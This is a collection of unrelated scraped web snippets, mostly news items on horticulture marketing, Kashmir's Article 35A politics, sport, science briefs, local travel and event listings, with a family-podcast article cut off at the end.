It was a similar theme echoed by the Produce Marketing Association Australia - New Zealand's chief executive officer, Darren Keating, in his address to the conference.
He said increasing fresh produce consumption was about utilising the growing relationship technology has with food, breaking into new meal occasions, and owning the health sphere.
"Everyone talks about health being this big opportunity but it's the golden one," he said.
BETTER: Produce Marketing Association Australia - New Zealand CEO, Darren Keating, says food leaders have to do more than just tell people to "eat your greens".
"We've got to get beyond just saying 'eat your greens, it's healthy'."
Ausveg CEO, James Whiteside, was even more direct in his assessment, taking a cheeky swipe at some other ag sectors along the way.
"Our future is not in beef or dairy, or broadacre cropping," Mr Whiteside said.
"For all the opportunities in Australian agriculture, it is the horticulture industry which the world will turn to."
Behavioural Challenges
THE speaker prior to Mr Liaw was ABC television's Ask the Doctor co-host, Sandro Demaio, who spoke on growing a healthier food future for a 10 billion people world.
Dr Demaio advocated for humans the world over consuming a greater plate share of fruits and vegetables and reducing meat consumption.
He said this would be a challenge to disrupt long-held behaviours.
But that notion was challenged by Mr Liaw who argued changing consumer behavioural habits wasn't such a stretch.
"I think to change the behaviour of how people eat is actually a very simple process; you just have to know what buttons to push," he said.
"Telling people to eat more healthily, is not a great button to push."
Dr Sandro Demaio at Hort Connections 2019
Post by Dr Sandro Demaio at Hort Connections 2019.
He said he wasn't a fan of trying to increase someone's vegetable quota by subterfuge, particularly for the sake of children.
"The idea of hidden vegetables or sneaking vegetables into dishes, I think, is very counterproductive," he said.
Mr Liaw said the secret was to change up the texture and taste format of the vegetable, without resorting to unhealthy options.
"There is no limit of what you can deep fry, sprinkle with salt and it will taste good," he said.
Practices such as boiling carrots in stock rather than water provided an additional savouriness to meals.
ADDRESS: Adam Liaw speaking at Hort Connections 2019 in Melbourne.
For all the data and trends analysed by Mr Liaw, he gave a caution to perceived trends as indicators.
"Rates of true vegetarianism are not rising as substantially as would be reported," he said.
"And I'd be wary of focussing on vegetarianism anyway. I think people understand they should be eating more vegetables but framing that discussion as the exclusion of meat makes a simple message into a very complex one.
"If your goal is to promote people eating vegetables, that should be the goal. Reducing the consumption of meat is another goal but playing the two off against each other is, I think, a much more difficult fight than just increasing the amount of vegetables people are eating."
Good Fruit and Vegetables
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Christian Bale is the world's newest hip-hop star
Christian Bale: Method Man or method acting?
He's been an American Psycho, a Machinist, Batman, and soon he'll been John Connor, the protagonist in the newest Terminator movie. But one thing actor Christian Bale probably never thought he'd become was a hip hop star.
But guess what? He is. Talk about dedication to one's craft.
Thanks to the remixing sounds of Los Angeles producer RevoLucian, Christian Bale's obscenity-laced tirade, allegedly made at a film set last year, has been turned in a dance tune - and the latest Internet hit.
Bale wails at the director of photography
According to the TMZ, Bale went nuts on Shane Hurlbut, director of photography on Terminator: Salvation, the latest installment of the successful Terminator franchise.
The recorded rant wound up in the hands of RevoLucian, who turned the file into a body-rockin', booty-shakin', Bruce Wayne-quakin' jam.
Check it out below. But be warned: EXPLICIT LANGUAGE. Like, way beyond Dark Knight.
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Bring Shrouds With You: Militants Warn Voters As Centre Says J&K Panchayat Polls Will be Held
After the killing of Burhan Wani, the situation became more volatile. Hundreds of Panchayat members resigned and vowed to never participate again.
Aakash Hassan, September 12, 2018, 10:48 am explore: Politics
'Will go to Any Extent to Protect Article 35A': PDP Decides to Boycott J&K Local Body Polls
Mehbooba Mufti said the people of Jammu and Kashmir have sacrificed a lot and no one can fiddle with the validity of Article 35 A.
September 10, 2018, 4:47 pm explore: Politics
Not Just Panchayat Polls, Will Boycott LS Elections Too: Farooq Abdullah’s Ultimatum on Article 35A
Article 35-A, which was incorporated in the Constitution by a 1954 Presidential Order, accords special rights and privileges to the citizens of Jammu and Kashmir and bars people from outside the state from acquiring any immovable property in the state.
September 8, 2018, 3:39 pm explore: Politics
PDP Follows in National Conference's Footsteps, Decides to Boycott Panchayat Polls Over Article 35A
Former chief minister Mehbooba Mufti said, “Some powers might be up to some mischief to fiddle with Article 35A once polls are done. In view of that and the mood on ground, it is difficult for the PDP to ignore public sentiment.â€
September 6, 2018, 9:01 pm explore: India
NSA Ajit Doval Says Having a Separate Constitution for J&K was an 'Aberration'
His remarks on Kashmir come at a time the Supreme Court is hearing pleas challenging the constitutional validity of Article 35-A of the Constitution, which provides special rights and privileges to permanent residents of Jammu and Kashmir.
September 5, 2018, 9:45 am explore: India
'Cannot Win Without Winning Hearts of People': Farooq Abdullah's Advice on Handling Article 35A
Abdullah, without naming anyone, said there were certain powers who do not want peace in the valley as their "livelihood flourishes on violence".
Supreme Court Adjourns Hearing in Article 35A Case: Key Things to Know
The petitions have been filed by NGO on grounds that Article 35A was illegally added to the Constitution of India as it was never floated before Parliament.
August 31, 2018, 12:23 pm explore: India
Article 35A Hearing Adjourned Till January 2019, SC to Decide After Panchayat Polls in Kashmir
Article 35-A, which was incorporated in the Constitution by a 1954 Presidential Order, accords special rights and privileges to the citizens of Jammu and Kashmir and denies property rights to women who marry those from outside the state.
August 31, 2018, 2:23 pm explore: India
Ahead of SC's Hearing on Article 35A, Restrictions Imposed in Srinagar to Prevent Protests
Police and paramilitary forces have been deployed in huge numbers in areas placed under restrictions and also at other vulnerable places in Srinagar and other parts of the Valley.
August 30, 2018, 10:52 am explore: India
12 Injured in Clashes in Kashmir After Rumours of SC Scrapping Article 35-A
Reports from Delhi said a fresh petition seeking scrapping of the Article is being filed in the apex court on Monday which fuelled the rumours.
NN Vohra, a Tough Act to Follow in Kashmir’s Political Theatre
Narinder Nath Vohra, who was replaced as Jammu and Kashmir Governor by Satya Pal Malik, dealt with one crisis after another. In the security review meetings, his word was said to carry more weight than Mehbooba Mufti’s.
Suhas Munshi, August 22, 2018, 10:14 am explore: Politics
Tinkering With Article 35-A Will Reopen Debate on J&K's Accession With India: Omar Abdullah
Omar Abdullah was addressing the monthly provincial committee (Kashmir) meeting at party headquarters 'Nawa-e-Subha'.
August 14, 2018, 8:35 pm explore: Politics
Jammu BJP MLA Targets Own Party Over Article 35A, Warns Against Scrapping Provision
Gagan Bhagat, a member of Legislative Assembly from RS Pura constituency, said he had launched a campaign to mobilize public support to safeguard Articles 370 and 35A, which give special rights and privileges to the people of Jammu and Kashmir.
Kashmir-Centric Parties Create Hullabaloo Over Article 35A to Disturb Peace: BJP
These political parties want to play politics over Article 35A of the Constitution of India by emotionally exploiting people and polarising them, BJP said in a statement.
August 8, 2018, 9:04 pm explore: India
Tinkering with Article 35A Would Undermine Basic Structure of Constitution: Mehbooba Mufti
She made the remarks observing that the sanctity of the Constitutional provision must be preserved as there has been a consensus on it across the political spectrum.
Supreme Court Adjourns Hearing on Pleas Challenging Article 35A; Matter Posted for August 27
The Supreme Court has listed the matter for hearing in the week commencing August 27. CJI Misra observed that the apex court has to consider whether Article 35-A goes against the basic structure of the Constitution.
August 6, 2018, 12:08 pm explore: India
Those Out to Defend 35A Tacitly Accepting J&K's Future Lies Within Constitution, Says Omar Abdullah
A batch of petitions is before the Supreme Court challenging the constitutional validity of the provision which confers special status to permanent residents of Jammu and Kashmir.
August 6, 2018, 11:46 am explore: Politics
Article 35A LIVE: Supreme Court Adjourns Hearing, CJI Says Only 3-Judge Bench Can Decide Matter
The crucial hearing on petitions challenging validity of Article 35A was adjourned as Justice D Y Chandrachud, one of three judges in bench, was not present.
August 6, 2018, 11:27 am explore: India
Repealing Article 35A will End Jammu and Kashmir's Relationship with Rest of India: Shah Faesal
The IAS officer said, continuing the special Constitutional provisions in respect to Jammu and Kashmir did not pose any threat to the sovereignty and integrity of the country.
August 6, 2018, 9:01 am explore: India
News18 Daybreak | Article 35A, Tharoor Targets PM and Other Stories You May Have Missed
Get a fresh dose of the news that matters, delivered directly to your inbox, every morning. The perfect way, to get you started and informed, for the day ahead.
Rakhi Bose, August 6, 2018, 9:14 am explore: India
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German Bakery Blast Survivor Thanks Arjun Kapoor for Telling His Story in India's Most Wanted
Reacting to 'India's Most Wanted,' a real-life blast survivor from Pune wrote a special message for Arjun Kapoor and team on Twitter.
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India’s Most Wanted Celeb Review: Abhishek Bachchan, Taapsee Pannu Root for Arjun Kapoor
Early reviews of India's Most Wanted showered praises on the Arjun Kapoor film that will release this Friday. Members of the film industry, like Abhishek Bachchan and Sujoy Ghosh, called it a tight, engaging thriller.
Arjun Kapoor is India's Most Wanted Intelligence Officer on Mission
Arjun Kapoor, who has commenced shooting for his 12th movie 'India's Most Wanted', says the starting of a new film is like a mission.
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Watch: Aussie Man Enthusiastically Recounts How He Foiled Armed Robbery
Weak Monsoon and Inventory Pile-up, Ongoing Sales Slowdown to Further Decelerate Indian Automobile Production
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No revenge for Villas-Boas as Mata fires the Blues
Tottenham (0) 2Chelsea (1) 4 Chelsea extended their lead at the top of the English Premiership to seven points as a superb double from Juan Mata clinched a 4-2 victory over Andre Villas-Boas’ Tottenham Hotspur yesterday.
Roberto di Matteo’s side were in danger of suffering their first league defeat of the season at the hands of former manager Villas-Boas, who was sacked after just nine months in charge last season, as Spurs took a 2-1 lead in the second half at White Hart Lane.
But Mata struck twice in the space of three minutes to secure Chelsea’s seventh win from eight league matches.
“We lost our control at the start of the second half but for the rest of the match we took the initiative and deserved the win,” Di Matteo told Sky Sports.
“It was a test of our character to come here and play a team in form in a big derby. There have been a lot of issues around the team recently, but we responded perfectly.”
Gary Cahill, deputising for the suspended John Terry, fired the visitors ahead in the 17th minute with a powerful volley that took a deflection off Spurs defender Steven Caulker.
William Gallas equalised against his former club two minutes into the second half when the Tottenham defender nodded in from close-range after Jan Vertonghen hooked the ball across the six-yard box.
And Spurs went in front seven minutes later thanks to Jermain Defoe’s predatory finish from midfielder Aaron Lennon’s cross.
However, Chelsea staged a stunning fightback as Mata punished a half clearance from Gallas to slot home in the 66th minute and the Spaniard then produced a fine finish from Eden Hazard’s defence-splitting pass three minutes later.
Mata turned provider when Chelsea killed off Spurs in stoppage-time. He robbed Kyle Walker of possession and slipped a pass for Daniel Sturridge to tap in.
»Second-placed Manchester United, at home to Stoke, came from behind to clinch the match 4-2. Their noisy neighbours, Manchester City, beat West Bromwich Albion 2-1 to remain close at third spot.
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Exit ramps for I-90 in Avon closed after cement truck carrying 40,000 pounds of cement overturns
Posted: 12:30 PM, Jun 24, 2019
By: Camryn Justice
AVON, Ohio — Exit ramps from Interstate 90 to state Route 83 were closed following a crash involving a cement truck, according to the Avon Police Department.
The ramps have since reopened, Avon police said.
The SR 83 overpass at I-90 is was also closed due to the crash. One lane has since reopened, according to police.
The cement truck, loaded with 40,000 pounds of cement, overturned on the highway at 8:30 a.m., police said.
There have been no reported injuries, according to police.
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Famine puts next two generations at risk of obesity
Health 11 July 2014
Are you sure I should be eating this, grandpa?
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By Helen Thomson
You are what your grandmother ate, potentially, but maybe not what your great grandmother consumed. A study in mice shows that undernourishment during pregnancy increases the chances that the next two generations will develop obesity and diabetes. But by then the slate is wiped clean.
If the same holds true for humans, it may mean that stressful events in our lives affect our grandchildren’s health, but not great-grandchildren.
Environmental stresses cause chemical changes to DNA that turn genes on and off. Many researchers believe that these changes can be passed down through sperm and eggs – a mechanism known as epigenetic inheritance.
Low-calorie diet
For example, studies have linked pregnant mothers that were undernourished during the second world war with gene changes in their children that put them at higher risk of becoming obese or getting cancer. But what happens to later generations is not clear.
To model this effect, Anne Ferguson-Smith at the University of Cambridge and her colleagues fed pregnant mice a diet containing 50 per cent fewer calories than usual from the 12th day of gestation until the birth, which is normally after about 20 days. Offspring were smaller than average and developed diabetes when fed a healthy diet. When the male pups had offspring, they were also at higher risk of becoming diabetic.
The team analysed the sperm of the offspring from the undernourished mothers to see how many genes had had their expression altered by the addition or removal of a methyl group – an epigenetic change. The team found a decrease in methylation in 111 regions of the DNA compared with sperm from mice born to mothers fed a healthy diet.
Unknown mechanism
When these mice, which had normal diets, had pups, however, the methylation patterns disappeared from their offspring’s DNA. This was surprising – because the grandpups still proved to be more likely to get diabetes. “It suggests that methylation is a marker but probably not the key mechanism causing the disease,” says Ferguson-Smith. She says it is not yet clear what other mechanism might be at work.
She hypothesises that epigenetic inheritance is a short-term adaptation that allows the offspring to be programmed for a stressful environment, but one that can easily be erased if the stressor disappears. “It would make sense to have evolved mechanisms to sense short-term changes in the environment, such that when nutrition became normal again this adaptation wouldn’t persist,” says Ferguson-Smith.
The team is now investigating whether further generations have an increased risk of developing diabetes to shed some light on how many generations the impact of a parent’s diet can last.
Science, DOI: 10.1126/science.1255903
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Electric cars are so cool they may make it colder
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COOL it. Swapping conventional cars for electric ones might help cities like Beijing beat the heat, and lower emissions of carbon dioxide by cutting down on air conditioning.
Manufacturing electric cars is still relatively costly and carbon-intensive. But as well as providing potentially carbon-free driving, electric cars emit less than 20 per cent of the heat that conventional cars do. This could lower city temperatures, meaning use of air conditioning would also drop, says a team led by Canbing Li from Michigan State University in East Lansing.
Using summer 2012 in the Chinese capital of Beijing as an example, the team estimates that replacing conventional cars with electric ones would reduce the heat by nearly 1 °C. That in turn would result in a reduction in air conditioning use, leading to a drop of 10,686 tonnes per day in carbon dioxide emissions (Scientific Reports, doi.org/23g).
“I was surprised by the level of decreased energy consumption of air conditioning,” says Li. He says that although electric cars are more costly to build, unlike conventional cars that depend on fossil fuels, their disadvantages can be overcome.
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Geno Smith looking better in Jets' new offense
Jets quarterback Geno Smith talks to the media at the Jets training facility in Florham Park, N.J. on Monday, Dec. 29, 2014. Photo Credit: Patrick E. McCarthy
By KIMBERLEY A. MARTIN kimberley.martin@newsday.com Updated June 11, 2015 1:15 AM
FLORHAM PARK, N.J. - The time is now for Geno Smith. And he knows it.
"I agree [it's a critical year for me]," he said Wednesday before the second day of the Jets' mandatory minicamp. "I believe that we all have to take the next step, we all have to raise our level of play and me, as the quarterback, my game has got to be on point every single week.
"I have to be on top of my game mentally and physically, so it's something that we all know. Having a good quarterback obviously has a direct correlation to winning in this league."
Smith rebounded in a big way on the practice field Wednesday after throwing three interceptions, including two in the red zone, Tuesday afternoon. He delivered crisp, strong passes on target with no interceptions. The highlight was his 70-yard touchdown pass to Walter Powell -- with Darrelle Revis defending.
"There are going to be up and down days. You try not to be too high and too low. You look at the body of work," coach Todd Bowles said. "So yesterday it wasn't so rough. Today the quarterbacks were decent. So we've just got to be consistent."
But Smith still is navigating the fine line between system newcomer and third-year signal-caller. Though Chan Gailey will tailor his offense to his personnel, there's still a learning curve for Smith, now in his second offensive system in three years.
"Well, you have to be patient for now," said new quarterbacks coach Kevin Patullo, who spent three years on Gailey's offensive staff in Buffalo. "Yes, he's seen more [than a rookie quarterback], but it's still a new offense for him. So I don't know if the third year is necessarily 'the year,' but yeah, he should know more about what's happening out there."
And being a "game manager" isn't good enough for Bowles.
"You're not going to win this game just managing football games," he said. "There's a lot of winning game managers in this league that have won Super Bowls as well. But at the end of the day, you've still got to be able to throw the football."
Patullo praised Smith's athleticism and noted he throws the ball with "a lot" of velocity. "And I don't think a lot of people realize that," Patullo said.
Turnovers remain Smith's biggest issue. They're also one of Bowles' biggest pet peeves.
"Yeah, that's something I know, and I know that he knows that I know that," Smith said. "The better you can take care of the football with the defense we expect to have, we'll have a good shot."
Smith said he's picking up the offense "pretty well" but acknowledged there's room for improvement. He plans to spend his six-week break before training camp studying his playbook and conducting throwing sessions in Chicago with his tight ends and receivers, including Brandon Marshall.
And as he works toward becoming a better NFL quarterback, he's also learning to be a better leader.
"You can never be too good at it," Smith said. "Sometimes you're maybe afraid as a rookie or a young player to get on some of the older guys, but you can't be afraid to do that . . . Veterans like when you hold them accountable, so I just try my best to not rub guys the wrong way but do it in the right manner so that we all are held accountable."
By KIMBERLEY A. MARTIN kimberley.martin@newsday.com
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Destinations ›
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Short walks and wild picnics
I love short walks and wild picnics - and in Buller (the northern west coast, Sth Island), where I live, I have discovered some wonderful places to share!
Boiler restoration Millerton Bath House
By Department of Conservation
The Millerton Bathhouse Walk
featuring hot water streams from Burning Mines, an old miners' bathhouse, and views of the mighty Tasman Sea from Granity right up the Coast from Millerton - a quaint mining village 1000 ft up.
From Westport, take State Highway 67 to Granity. Watch out for a tiny turn off marked Stockton Mine (over the railway line), just past the Granity Village recycling bins. Follow this spectacular new road (it won the Small Roading Project of the Year Award) in 2007, to the Millerton turnoff. Wind down through the ‘Mansions’ of Millerton – quaint mining cottages perched on rock in the middle of the forest, then take a left turn at the little bridge at the bottom….stop outside the quaint Information Centre.
The Bathhouse walks are wonderful and little-known Millerton walks. They were the brainchild of Leicester Kyle, a longtime Millerton resident and poet. They were developed by Leicester, with funding from the Department of Conservation, and ongoing work from some dedicated local residents. The Information Centre was Leicester’s house which he gave to the community when he died. The house was once a Doctor’s Rooms but now is a quaint place to start to learn a bit about the area you are going to walk in.
Once you have finished looking at all the interesting information the Centre has to offer, drive up the steep little hill in front of you and park at the end of the road……then walk back and up, crossing a small stream bridge – continue to the Bathhouse. Then if you have more time, continue up the huge paved stone slab path, across warm water streams (feel them with your hand) coming from an old Burning Mine, to old mine and tunnel entrances.
The History of Millerton
Millerton is named after H.J. Miller, once chairman of the Board of Directors of the Westport Coal Company. When both underground mines closed in 1969 many houses were moved from Millerton to other Coast towns. About 30 households remain.
Millerton gets almost three metres of rain a year!
Picnic Ideas:
There are sheltered picnic spots everywhere - but the most spectacular is just down the hill from the Millerton Info Centre, on the old road where you can see ocean, coastline and forest stretching for miles from 1000 feet above it.......WOW!
(I've got lots more fabulous spots to share - so come and stay soon!)
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BEWARE: 'Stolen sheep headed to KZN for mass celebrations'
Sheep farmers in the Free State, North West, and Mpumalanga have been warned of a dramatic increase in stock theft, mainly due to "orders" placed from KwaZulu-Natal.
The warning was issued by Celia Beukes, chairperson of the stock theft information centre (STIC) in Ermelo.
A reliable source in the South African Police Service (SAPS) told News24 that information officials had uncovered that certain groups in KZN placed "special orders", mainly for sheep to be used during mass celebrations.
A farmer near Carolina lost 247 Donhe/Merino sheep in one day, when the animals were stolen.
Fifty-three sheep were also stolen in QwaQwa, an area in the Free State, bordering Lesotho.
Correct livestock documentation
On Thursday morning, a farmer from Carletonville reported that 100 sheep were stolen during the night.
Beukes said 95% of stock theft was syndicate related.
"The days where one or two sheep were stolen for a bush butchery is not the norm anymore. Farmers don't even report these minor thefts anymore."
Beukes said farmers should be vigilant over the next month, do regular patrols on their farms and do stock counts often.
She said it was important for farmers to issue the correct documentation to people buying livestock.
"This will assist the police when they stop a truck loaded with animals to establish if the load is legitimate."
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Lake Monsters hexed on Harry Potter Night
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Updated: 11:50 PM EDT Aug 11, 2018
WEBVTT TO CENTENNIAL FIELD. WHERE THERE WAS MAGIC IN THE AIR. HARRY POTTER NIGHT AT THE HISTORIC BALL PARK. LAKE MONSTERS LOOKING TO PUT HEX ON THE DIVISION-LEADING VALLEYCATS. TOP 2ND. 3-2 VERMONT. BUT THE CATS EVEN THE SCORE HERE. CARLOS MACHADO GROUNDS OUT T 1ST. RUNNER FROM 3RD SCORES. TIED 3-3. NEXT INNING. TRI-CITY TAKES THE LEAD. OSCAR CAMPOS FLARES IT TO RIGHT. BRINGS HOME AUSTIN DENNIS. VALLEYCATS JUMP AHEAD. 3-2. BOTTOM OF THE J.J. SCHWARZ FOURTH, SHOOTS IT THROUGH THE LEFT SIDE OF THE INFIELD. NICK OSBORNE CRUISES HOME. ALL TIED UP AGAIN. 3-3. LATER IN THE INNING. MAX SCHUEMANN FLIES IT TO CENTER FIELD. THIS GETS THE JOB DONE. SCHWARZ TAGS FROM 3RD AND SCORES. VERMONT RE-TAKES THE LEAD. BUT THAT LEAD WOULD NOT LAST. AS THE VALLEYCATS CLAW BACK TO WIN.
Looking to pick up a game in the standings, instead, the Vermont Lake Monsters were left hexed with an 8-5 loss at the hands of the division-leading Tri-City ValleyCats on Harry Potter Night at Centennial Field Saturday.The teams traded the lead four times through the first four innings, with Vermont owning a 5-4 edge after the fourth.Tri-City responded with two runs apiece in the 5th and 6th innings to take an 8-5 lead and hold it for good.Nick Osborne led the way for the Lake Monsters, going 2-for-4 with two RBIs.With the result, Vermont fell back to .500 on the season at 27 wins and 27 losses.Vermont now sits four games back of Tri-City in the Stedler Division standings.The two teams return to Centennial Field to cap off the two-game series before the all-star break at 5:05 p.m. Sunday.
Looking to pick up a game in the standings, instead, the Vermont Lake Monsters were left hexed with an 8-5 loss at the hands of the division-leading Tri-City ValleyCats on Harry Potter Night at Centennial Field Saturday.
The teams traded the lead four times through the first four innings, with Vermont owning a 5-4 edge after the fourth.
Tri-City responded with two runs apiece in the 5th and 6th innings to take an 8-5 lead and hold it for good.
Nick Osborne led the way for the Lake Monsters, going 2-for-4 with two RBIs.
With the result, Vermont fell back to .500 on the season at 27 wins and 27 losses.
Vermont now sits four games back of Tri-City in the Stedler Division standings.
The two teams return to Centennial Field to cap off the two-game series before the all-star break at 5:05 p.m. Sunday.
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Ultstein Verft delivers new vessel to Island Offshore
The Ulstein Verft newbuild Island Performer has been delivered to ship owner Island Offshore. The riserless light well intervention (RLWI/IMR) vessel will serve her first five years for FTO (a joint venture between FMC Technologies, Edison Chouest Offshore, and Island Offshore) in the Gulf of Mexico.
The new Island Performer will soon be working in the Gulf of Mexico.
ULSTEINVIK, Norway – The Ulstein Verft newbuild Island Performer has been delivered to ship owner Island Offshore. The riserless light well intervention (RLWI/IMR) vessel will serve her first five years for FTO (a joint venture between FMC Technologies, Edison Chouest Offshore, and Island Offshore) in the Gulf of Mexico.
“The vessel is customized to suit the scope of work in the FTO contract, in which RLWI and inspection, maintenance, and repair (IMR) are the main tasks,” says Managing Director Håvard Ulstein, Island Offshore. “She is able to perform operations at depths down to 3,000 m (9,843 ft), and the contracted work starts at year’s end. However, the very first assignment will be for the RogFast connection in Norway, in which the scope of work will be to investigate the sea bottom.”
Island Performer has a 250-metric ton (276-ton) active heave compensated (AHC) crane with a below-deck winch, and carries two deepsea work ROVs – one to be launched through a dedicated moon pool and the other from the starboard side.
Island Performer is the next-generation subsea vessel from Ulstein, with large accommodation, storage, and lifting capacities. It meets the highest standards for station keeping, redundancy, and dynamic positioning, and it is able to retain system integrity and continue operations uninterruptedly even after a substantial single system failure.
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News and EventsHome News, Politics Anambra guber: Ifeanyi Ubah, Obaze bicker over PDP ticket
Anambra guber: Ifeanyi Ubah, Obaze bicker over PDP ticket
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By Chijioke Jannah
The Managing Director of Capital Oil, Ifeanyi Ubah, has said that Oseloka Obaze, who was declared the winner of the Peoples Democratic Party’s (PDP) primary for the forthcoming Anambra governorship was not qualified to contest for the party’s ticket.
However, Obaze denied the claims saying he “certainly” met the requirement to contest in the primary.
Ubah and Obaze had this argument when both of them appeared on Channels Television’s programme ‘Sunday Politics’ anchored by Seun Okinbaloye and monitored by DAILY POST.
Obaze had polled 672 votes, his closest rival Dr Alex Obiogbolu got 190 votes, while Ubah polled 94 votes, according to the results announced by the Governor of Ebonyi State, Mr Dave Umahi, who supervised the poll.
But Ubah claimed Obaze, who served as SSG under former Governor Peter Obi and incumbent governor Willie Obiano, should not have been allowed to contest in the first case.
Beyond that, he alleged that the delegates list used for the primary was different from the certified true copy he got from the party.
Asked why he was unhappy with the outcome of the primary, he said, “The primary (reason) is that Mr Oseloka Obaze did not even qualify ab initio to be part of the contest. He didn’t have the requisite waiver from the party.”
Ubah, who said the National Executive Council is the only organ of the party that can give a waiver, explained that the PDP’s NEC couldn’t have given Obaze a waiver.
The Capital Oil boss said, “He (Obaze) granted an interview to the press in February this year that he doesn’t even know the party he is going to use to contest the election. That is almost six months ago. And the party’s constitution stipulates that it must be two years. He didn’t have it (the waiver).
“We had screening on the 9th and 10th of August. There was a NEC meeting on the 11th and that is the last NEC meeting till date. So, NEC did not give any waiver. There was no mentioning of waiver. So, how did he come in to be part of the primary? These are the technicalities, the deficiencies and the politics that the party continue to impose somebody.”
On his part, Obaze denied the claims, saying he “certainly” met the requirement to contest in the primary.
On claims that he got a provisional waiver, Obaze said, “No, I got a provisional clearance and, subsequently, I got a waiver from the National Caretaker Committee.”
He added, “You have the National Working Committee and you have the NEC that is the whole body. When they are not in full session, the Working Committee takes care of business. But the waiver was duly given.”
He also rejected claims that he was imposed on the party, saying it is a matter of perception.
“The process was clear, due process. The primary was conducted transparently on national television.
“So, I don’t understand where this is coming from. I don’t want to ascribe labels to people who are sore losers but that seems to be the case.”
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King Ibn Saud
AKA Abdul Aziz bin Abdul Rahman al-Sa'ud
Birthplace: Riyadh, Arabia
Location of death: Taif, Saudi Arabia
Cause of death: unspecified
Remains: Buried, Al-Oud Cemetery, Riyadh, Saudi Arabia
Religion: Muslim
Race or Ethnicity: Middle Eastern
Occupation: Head of State, Royalty
Executive summary: Founder of Saudi Arabia
Father: Abdul Rahman ibn Faisal (d. 1928)
Mother: Sara Sudairi
Brother: Muhammed
Brother: Sa'ad (d. 1916)
Sister: Nura
Wife: Wadhba bint Muhammad al-Hazzam
Son: Turki (b. 1900, d. 1919 Spanish influenza)
Son: Sa'ud (King of Saudi Arabia 1953-64, deposed)
Wife: Tarfah bint Abdullah al-Shaikh Abdul-Wahab
Son: King Faisal (King of Saudi Arabia 1964-75, d. 1975 assassination)
Daughter: Anoud (b. 1917)
Wife: Jauhara bint al-Saud
Son: Muhammad (b. 1910)
Son: Khalid (King of Saudi Arabia, 1975-1982)
Wife: Jauhara bint al-Saudairi (widow of his brother Sa'ad)
Son: Saad (b. 1920)
Son: Musa'id (b. 1923, father of Faisal bin Musa'id, King Faisal's assassin)
Wife: Hassa bint Ahmad al-Sudairi
Son: King Fahd
Son: Prince Sultan bin Abdul Aziz (current crown prince, b. 1927)
Wife: Fahda bint Asi al-Shuraim
Son: King Abdullah
Wife: Bazza
Son: Bandar (b. 1923)
Son: Talal (father of Alwaleed bin Talal, b. 1931)
King of Saudi Arabia 22-Sep-1932 to 9-Nov-1953
Declared Holy War (Mar-1928)
Assassination Attempt against England (15-May-1935)
Is the subject of books:
The Desert King, 1967, BY: D. A. Howarth
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By: RASEIBoulder Summary: Energy storage in the electrochemical form is attractive because of its high efficiency and fast response time. New and improved materials for energy storage are urgently required to make more efficient use of our finite supply of fossil fuels, and to enable the effective use of renewable energy sources. In this seminar, I will discuss a few new perspectives for energy storage materials including new Li intercalation compounds, new Na intercalation compounds and new Met
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Study What You Love - Arts Courses
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Prelude 2012
The Jepson School of Leadership Studies inducts the members of the Class of 2015 at its Prelude Ceremony. Nov. 5, 2012
SPCS Congratulates the Class of 2014
Congratulations to the School of Professional and Continuing Studies graduating class of 2014! Soundtrack features voices of SPCS faculty and staff. © 2014, University of Richmond
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Cómo negociar en inglés
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Hello Again - The Story of Neil Diamond
Thursday 9 July 2020, 7.30pm
Main House - Tickets: £22.50
The world’s greatest celebration of the life and work of Neil Diamond.
Tribute shows, homages, celebrations? There are just so many. Some good, some bad, they come and go, in and out of vogue, much like the artist(s) that they are emulating. A very select few however, are just so good, that they become a sensation in their own right, thus becoming a must-see, the only show for fans of the original artist.
Hello Again – The Story of Neil Diamond most certainly falls into this category, with a cast that can proudly boast past credits to include Michael Jackson, Kylie Minogue, Take That, Spice Girls, Bay City Rollers, Freddie Starr, Culture Club, The Drifters and many more. It’s no surprise that this show has accelerated itself to becoming the talk of theatre land.
It’s also no surprise when you consider the subject matter: one Neil Leslie Diamond, born a star on 24 January 1941, in his early years an in-house songwriter at the now legendary Brill Building, scoring his first solo hit in 1966. 50 years and over 125 million records sold, his ongoing story carved deep in the annals of music history is one that must be told.
Enter Brooklyn Creed & The Salvation Band. Dubbed The Voice of Diamond, Brooklyn carries huge expectation on his shoulders. Born with an uncannily similar timbre to his idol and an exceptional guitar player, Brooklyn soon sends any competition running home to their mothers.
The Salvation Band, great friends and one of the hottest live bands in the UK, coupled with Brooklyn Horns and Ascending Strings, hand-pick specific live and studio versions of Diamond’s performances under the critical gaze of MD/ Keyboard player Dave Jenkins to ensure absolute authenticity.
Show creators/producers Darren Bazzoni and Juanita Diaz were absolutely insistent in keeping quality and consistency paramount throughout, employing one of the best production teams in the business, Network Productions. Sound, lights & video are in safe hands with the crew responsible for numerous smash hit productions.
Evocative imagery, video and narration enhance the magic, as the show takes you on a musical journey through Neil Diamond’s glittering 50 year career. From The Bang Years to the present day you’ll soon find yourself singing along to all the hits including Sweet Caroline, Cracklin’ Rosie, Forever in Blue Jeans, Song Sung Blue, Hello Again, Love on the Rocks, America and many more.
“Close your eyes and you could be in the presence of one Neil Leslie Diamond… A spellbinding recreation of a Neil Diamond concert”
★★★★★ Nottingham Post
“Absolutely mesmerising”
★★★★★ Sky TV
(Brooklyn Horns and Ascending Strings on selected shows only.)
Hello Again - The Story of Neil Diamond - Thu 9 Jul 7:30pm Thu 9 Jul Main House 7:30pm £22.50 Book Now
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A Celebration of the Big Band Divas - BBC Big Band
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The Adventure Canon
The Best Podcasts for Kids
A playlist that both parents and children can enjoy.
Adults shouldn't get to have all the fun. (Halfpoint/iStock)
Photo: Halfpoint/iStock
This winter my husband, Steve, and I took our two daughters to the Grand Canyon, an eight-hour haul from our home in Santa Fe. Our road-trip game has evolved over the years. When they were infants, they napped to Baby Mozart on the CD player for hours on end (and no stopping for gas, or else they woke up). As toddlers they passed the time watching Little Einsteins episodes or giving monkeys perms on Toca Hair Salon on the Kindle. But ever since they learned to read, we’ve deliberately gone screen-free in the car. Now, at ages eight and ten, they pack their own art supplies and books, play car bingo, do homework, or—best of all—daydream out the window.
On this latest trip, we upped our game and finally joined the 21st century by cuing up some podcasts. The girls are mature enough now to listen to 45-minute shows with substance and heft that also interest Steve and me (or that at least won’t bore us into a mind-numbing delirium). The best family podcasts are the ones that we can all enjoy. Our audio diet tries to hit the big categories—art, science, humanity, adventure, mystery, and nature.
Short and Curly
